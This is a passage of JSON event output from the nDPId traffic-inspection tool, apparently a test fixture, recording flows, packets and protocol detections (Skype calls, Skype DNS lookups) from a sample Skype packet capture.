+00509{"flow_id":168,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":627823,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"0NQSxnP1PBXCt3IOCABFAABvnb1AAEAGBSrAqAEinTc4oMOTnFuhu64fpKDDkIAYECzMkQAAAQEICj4jI\/xNfpJAQKqCEoqSQqrqe1xV2yxQmr7uY5SiXS4X4klg6qEW5tp9MdxW+w7pX+TxdjnuPTK3ROXSm5DB\/tecXeo="} +00425{"flow_id":168,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":775866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0UfRAADMGXi6dNzigwKgBIpxbw5OkoMOQobuuWoAQAB2ExAAAAQEICk1+kmU+IyP8"} +00510{"flow_id":168,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1019,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":778860,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"PBXCt3IO0NQSxnP1CABFAABwUfVAADMGXfGdNzigwKgBIpxbw5OkoMOQobuuWoAYAB3I3AAAAQEICk1+kmY+IyP8txEYtD\/BAwWCfFR\/DqxCoIqSkSd8OvAnnmLeGxO2cwCN4SRtlSl2u+Y2fzv\/2soeZ+xtumO4yWYfROXS"} +00425{"flow_id":168,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1020,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":778926,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bUJAAEAGNeDAqAEinTc4oMOTnFuhu65apKDDzIAQECpz5AAAAQEICj4jJJJNfpJm"} +00437{"flow_id":168,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1021,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":779459,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83OFAAEAGxjjAqAEinTc4oMOTnFuhu65apKDDzIAYECodXgAAAQEICj4jJJJNfpJmzRAJJHd6CMc="} +00495{"flow_id":167,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1023,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":869875,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABngY9AAEAG1vPAqAEiQTffDMOSAbvQogDzbPVBKoAYECwOhAAAAQEICj4jJOxNoe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00438{"flow_id":87,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1024,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":911054,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83cNAAEAGe0\/AqAEinTeCp8N8nF+W1hdKgdGcA4AZECkD3QAAAQEICj4jJRVOq7X7zDi7upn8y1s="} +00500{"flow_id":153,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1025,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":64211,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"0NQSxnP1PBXCt3IOCABFAABq\/TRAAEAGwYvAqAEib91KJsOPAbu0bGIyDtZB8IAYECxUQQAAAQEICj4jJa5Nf6U4DpQ6T7GhI\/HZuALGyyd6FuE62cjswcclHGXEXQQQrFo1hEMiHK+aF1hYQEgpCBKH6FPKIRys"} +00462{"flow_id":143,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1026,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":342538,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABN\/9JAAEAGvwHAqAEib91KL8OKAbuRyk1PjMr2RYAYECxyjQAAAQEICj4jJsRNhWCpro9SILG2kEIipiuKXJkgpDduj12IclUwiw=="} +00437{"flow_id":168,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1027,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":348276,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8itpAAEAGGEDAqAEinTc4oMOTnFuhu65apKDDzIAYECobJwAAAQEICj4jJslNfpJmzRAJJHd6CMc="} +00426{"flow_id":113,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":488799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04ypAAEAGdfHAqAEinTeCpsOBnFXYqqIqVqVnNYARECnOGQAAAQEICj4jJ1VOrGol"} +00426{"flow_id":122,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1029,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":488799,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA07TtAAEAGa+DAqAEinTeCpsODAbsS3ITlvVXOp4ARECx8LQAAAQEICj4jJ1VOrGuY"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1030,"source":"skype.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1431969682488,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":172,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1030,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":488870,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4pYYAAEARPZvAqAEinTc4kjLdgQkAJLU7nG4Cyw+0E3ewR9IGP0eBLCPkEu6cvusCSULx8g=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1030,"source":"skype.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1431969682488,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1031,"source":"skype.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1431969682488,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.28","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":173,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":488871,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2L4AAEARJivAqAEib91KHDLdnE4ALJRcnHACG8tsqKlSc3O3hWaMTNmN0BY4DMi8SBQzDHozUa6r8phn"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1031,"source":"skype.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1431969682488,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.28","src_port":13021,"dst_port":40014,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":144,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":496465,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hMBAAEAGOi7AqAEib91KJsOLnE+UB74KG80ZxoAYECny6AAAAQEICj4jJ1xNf6OUySqTc3CS7Ig="} +00440{"flow_id":161,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":602614,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ydJAAEAGjtvAqAEiQTffDMORnF\/vfD9kP0r\/xIAYECmapwAAAQEICj4jJ8ZNoe23pd7yTaWfPN4="} +00495{"flow_id":167,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1036,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969682,"pkt_ts_usec":754990,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABnIoNAAEAGNgDAqAEiQTffDMOSAbvQogDzbPVBKoAYECwLFAAAAQEICj4jKFxNoe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1039,"source":"skype.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1431969683081,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.160","src_port":50069,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":174,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1039,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":81595,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAOCFAAEAGavXAqAEinTc4oMOVAbs\/vddwAAAAALAC\/\/9bFwAAAgQFtAEDAwUBAQgKPiMpogAAAAAEAgAA"} +00458{"flow_id":157,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1040,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":152230,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLwG0AAEARNsHAqAEiwKgBAeRaADUAN2o90\/0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00458{"flow_id":158,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1041,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":152315,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL8lsAAEARBNPAqAEiwKgBAcDQADUANww\/OoYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00437{"flow_id":174,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1042,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":227329,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGsBqdNzigwKgBIgG7w5UO87UwP73XcaASOJCODAAAAgQFrAQCCApNfpPQPiMpogEDAwk="} +00426{"flow_id":174,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":227449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0+rpAAEAGqGfAqAEinTc4oMOVAbs\/vddxDvO1MYAQECzkpQAAAQEICj4jKjNNfpPQ"} +00527{"flow_id":174,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1044,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":227547,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8YvRAAEAGP+bAqAEinTc4oMOVAbs\/vddxDvO1MYAYECxW2wAAAQEICj4jKjNNfpPQgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBNGkMYqcb\/pMUye\/ChXrf8"} +00438{"flow_id":168,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1045,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":288050,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8qdRAAEAG+UXAqAEinTc4oMOTnFuhu65apKDDzIAYECoXgQAAAQEICj4jKm9NfpJmzRAJJHd6CMc="} +00426{"flow_id":174,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1046,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":375368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0JsVAADMGiV2dNzigwKgBIgG7w5UO87UxP73XuYAQAB30RwAAAQEICk1+k\/U+Iyoz"} +00486{"flow_id":174,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1047,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":375477,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABeYkJAAEAGQLbAqAEinTc4oMOVAbs\/vde5DvO1MYAYECzDbwAAAQEICj4jKsZNfpP1C\/K+P2bJpeJPHa2PUHDULtdZf\/0zeGwCQKqXzvyh2rxHpWJ9WEovTk91"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1048,"source":"skype.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1431969683445,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":54343,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":175,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1048,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":445395,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLY\/4AAEARkzDAqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1048,"source":"skype.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1431969683445,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":54343,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst13.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1049,"source":"skype.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1431969683445,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58368,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":176,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1049,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":445606,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLbZEAAEARiZ3AqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1049,"source":"skype.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1431969683445,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58368,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"335.0.7.7.3.rst13.r.skype.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1050,"source":"skype.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":50070,"dst_port":40018,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":177,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1050,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":498513,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAjFBAAEAGzLvAqAEinTeCqsOWnFJsNFWpAAAAALAC\/\/\/KJgAAAgQFtAEDAwUBAQgKPiMrQAAAAAAEAgAA"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1051,"source":"skype.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.148","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":178,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1051,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":498651,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAygKMAAEARGILAqAEinTeClDLdnFMAHuO+nHICw5e0uFvnoh7r2z7q0Ash9G6vuA=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1051,"source":"skype.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.148","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1052,"source":"skype.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.37","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":179,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":498651,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA37XsAAEAR+hLAqAEinTg0JTLdnGAAI2eBnHQCCWFRyRLVPOTLcRjYZLb3DOT1DUSOmuDR"} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1052,"source":"skype.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.37","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1053,"source":"skype.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":180,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1053,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":498704,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1nZ0AAEARXdnAqAEib91NmjLdnFEAIcopnHYCxd71ZoU+BTO6L2LN9kiyomjWgPGl4A=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1053,"source":"skype.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00437{"flow_id":177,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969683,"pkt_ts_usec":623605,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYhCdN4KqwKgBIpxSw5bt8UdnbDRVqqASOJAWbAAAAgQFrAQCCApOqggfPiMrQAEDAwk="} 